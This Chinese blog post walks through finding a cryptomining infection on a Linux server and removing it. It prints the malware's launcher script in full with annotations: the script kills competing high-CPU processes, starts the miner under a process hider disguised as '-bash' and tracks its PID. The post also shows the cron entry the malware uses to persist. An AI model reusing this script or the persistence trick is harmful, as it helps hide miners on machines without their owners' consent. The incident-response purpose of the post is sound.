首页 > 其他分享 >服务器荣获挖矿病毒,该如何处理?

服务器荣获挖矿病毒,该如何处理?

时间:2024-07-29 18:39:58浏览次数:12  
标签:cache pid 进程 服务器 荣获 CPU bash 挖矿

背景

今天在做项目的时候,总感觉运行不是很流畅,难道本地服务器也有网络问题?一通操作下来,不出意外,没解决。说来也巧,无意间的一瞥,竟让我发现了问题所在——CPU 满了。这就很不正常了,也没运行什么东西呀,不可能就这么满了。于是我就开始上网搜索,这是什么原因导致的(这就是没完成工作任务的理由?),功夫不负有心人,终于找到了和遇到同样问题的幸运儿,从那篇文章里,我了解到,我的服务器是中了挖矿病毒了。

问题排查

  1. 首先通过 top 命令查看 cpu 占用率高的进程,得到该进程的 pid
  2. 查看该进程是由哪个文件启动的
# 假设 pid 为 1234
ls -l /proc/1234/exe

# 得到如下结果
lrwxrwxrwx 1 git git 0 Jul 29 04:33 /proc/1276757/exe -> /var/tmp/.cache/java
  1. 根据上面的结果,我们 cd/var/tmp/.cache 目录,使用 ls 命令查看该目录下有什么内容
cd /var/tmp/.cache

ls
a  bash.pid  cron.d  dir.dir  h32  h64  java  run  upd  x
  1. 然后查看 run 文件
#!/bin/bash

# 下面这条命令的作用是:
#   查找并杀死 CPU 使用率超过 40% 的进程,
#   但排除名为 `xmr-stak` 的进程和所有加载 `ld-linux.so.2` (动态链接器)的进程
#   同时也根据 `bash.pid` 文件(如果存在)中列出的进程 ID 排除额外的进程
# 其中:
#   1. `ps aux`
#      列出系统中当前运行的所有进程的详细信息。
#   2. `grep -vw 'xmr-stak\|ld-linux.so.2'
#      从 `ps aux` 的输出中,排除包含 `xmr-stak` 或 `ld-linux.so.2` 的行。
#      `-v` 表示反向选择(即选择不匹配的行)。
#      `-w` 表示匹配整个单词。
#      `\|` 是正则表达式中的或操作符
#   3. `(test -e bash.pid && grep -vwf bash.pid)`
#      如果 bash.pid 文件存在,则从前面的结果中排除该文件列出的进程 ID。
#      `test -e bash.pid` 检查文件是否存在。
#      `grep -vwf bash.pid` 中的 -f 则表示从文件中读取模式(即进程 ID),用于排除这些进程
#   4. `awk '{if($3>40.0) print $2}'
#      使用 awk 处理上一步操作,如果第三列(CPU 使用率)大于 40,则打印该行第二列(进程 ID)
#   5. `while read procid; do kill -9 $procid; done`
#      强制杀死所有符合条件的进程
#   6. `2>/dev/null`
#      忽略所有错误消息
ps aux | grep -vw 'xmr-stak\|ld-linux.so.2' | (test -e bash.pid && grep -vwf bash.pid) | awk '{if($3>40.0) print $2}' | while read procid; do kill -9 $procid; done 2>/dev/null
# 获取 CPU 核心数
proc=$(nproc)
# 获取系统的架构(Architecture)信息
ARCH=$(uname -m)
HIDE="-bash"

# 根据系统架构,执行不同的程序
if [ "$ARCH" == "i686" ]; then
    ./h32 -s $HIDE ./java >>/dev/null &
elif [ "$ARCH" == "x86_64" ]; then
    ./h64 -s $HIDE ./java >>/dev/null &
fi

# 使用 $! 获取上一个后台命令的 PID,并将其赋值给 pid 变量
pid=$!

# 将上面获取到的 pid 加 1 并作为一个新的变量
new_pid=$((pid + 1))

# 将新的 pid 写入 base.pid 文件,并覆盖原有内容
echo $new_pid > bash.pid

从上面的分析不难看出,黑客首先帮我们杀死了那些占用大量 CPU 的进程(人还怪好的嘞)。但实际上,他并不是为了我们,而是要让他的挖矿程序能够更好地运行

问题处理

既然知道问题出在哪里,那就想办法解决它。很明显,我们需要杀死这个进程(还是以 1234 为例)。

kill -9 1234

但是这并没有结束,因为很快它就又卷土重来了,没错,CPU 又满了。到这里就应该意识到一个问题:有定时任务存在。
使用 crontab -e 编辑定时任务,里面有这样的内容:

* * * * * /var/tmp/.cache/upd >/dev/null 2>&1

可以确定,这个定时任务就是挖矿病毒留下来的。我们把这行内容删除,然后再次杀死那个万恶的进程(注意,PID 变了,在杀死之前确定好,别杀错了进程)
之后我们需要把 .cache 目录(也就是挖矿程序所在的目录)删除,目前来说,这个问题是解决了。

总结

遇到这个问题应该怎么处理,或者说怎么一气呵成地处理?

  1. 排查问题,首先使用 top 命令查看占用资源的进程
  2. 然后使用命令 ls -l /proc//exe 来查看该进程是由哪个文件启动
  3. 杀死该进程(可能无效,需要在删除定时任务后再次进行此操作)
  4. 删除对应的定时任务
  5. 删除对应的文件,文件夹

标签:cache,pid,进程,服务器,荣获,CPU,bash,挖矿
From: https://www.cnblogs.com/Super-Lee/p/18330795

相关文章

  • 记录|云端服务器和局域网服务器的评估
    目录前言一、云端服务器1.1什么是云端服务器?1.1.1产生情景1.2作用和消耗1.2.1推荐购买1.3小程序和app1.3.1如何判断是否需要云端服务器二、局域网服务器1.1特点1.2使用局域网的原因1.3其他考虑更新时间前言参考文章阿里云对云服务器解释项目中需......
  • FTP服务器搭建及C#实现FTP文件操作
    FTP服务器搭建及C#实现FTP文件操作1、搭建FTP服务器(以win10为例)FTP服务器搭建及C#实现FTP文件操作_c#ftp-CSDN博客2、代码usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Net;usingSystem.Text;usingSystem.Threading.Tasks;namesp......
  • Swagger、Docker、Python-Flask: : https://editor.swagger.io/ 生成服务器 python-fl
    在https://editor.swagger.io/上您可以粘贴一些json/yaml。我正在将此作为JSON进行测试(不要转换为YAML):{"swagger":"2.0","info":{"version":"1.0","title":"OurfirstgeneratedRES......
  • Caddy web服务器
    caddy中文文档:https://caddy2.dengxiaolong.com/docs/常用命令命令描述caddyrun启动Caddy服务器caddyreload重载Caddy配置caddystart启动Caddy服务器,在后台运行caddystop优雅地停止Caddy服务器caddyinstall安装软件包caddyuninstall卸载软......
  • linux服务器使用docker部署ES相关记录
    ES/可视化工具Kibana/ik分词器最好使用相同版本部署,实在找不到资源可基于ES版本,其余可向下兼容找最高版本docker创建网络因为我们还需要部署kibana容器,因此需要让es和kibana容器互联。这里先创建一个网络:dockernetworkcreatees-netES配置文件夹数据卷挂载:需先复制config......
  • 方舟服务器怎么选?方舟服务器配置推荐
    随着网络游戏的不断发展,越来越多的玩家加入到游戏的世界中。而《方舟:生存进化》作为一款备受欢迎的沙盒游戏,更是吸引了大量玩家的关注。为了获得更好的游戏体验,许多玩家选择搭建自己的方舟服务器。那么,方舟服务器该怎么选?本文将为您提供方舟服务器配置推荐,帮助您轻松搭建高性能......
  • 无法使用 EMR 无服务器中的请求库访问公共 API
    当我尝试使用请求库获取API时出现以下错误。Traceback(mostrecentcalllast):File"/tmp/spark-39775710-130a-4403-9182-c557003f351b/lib.zip/urllib3/connection.py",line196,in_new_connFile"/tmp/spark-39775710-130a-4403-9182-c557003f351b/lib.zip/url......
  • cobble(linux服务器安装的服务)
    一、cobble简介Cobbler是一个Linux服务器安装的服务,可以通过网络启动(PXE)的方式来快速安装、重装物理服务器和虚拟机,同时还可以管理DHCP,DNS等。Cobbler可以使用命令行方式管理,也提供了基于Web的界面管理工具(cobbler-web),还提供了API接口,可以方便二次开发使用。Cobbler......
  • Linux让远程服务器代理IPv6流量
    使用场景本地机器只能访问IPv4网络。远程服务器能访问IPv4网络,也能访问IPv6网络。这篇博客介绍如何让远程服务器代理本地机器的IPv6流量,从而让本地机器也能访问IPv6网络。主要思路在远程服务器上创建一个netns,搭IPv6NAT,这样netns里面就能通过IPv6NAT访问公网。然后在netns和......
  • Clickhouse服务器CPU 99.99%的处理过程
    进入服务器,查询正在执行任务的语句SELECTquery_id,user,queryFROMsystem.processes;--通过上面指令获取到进程相关信息后,可以用query_id条件kill进程KILLQUERYWHEREquery_id='67cadc87-34b2-4b81-8f8c-087485c922af'--杀死default用户下的所有进程KILLQUERY......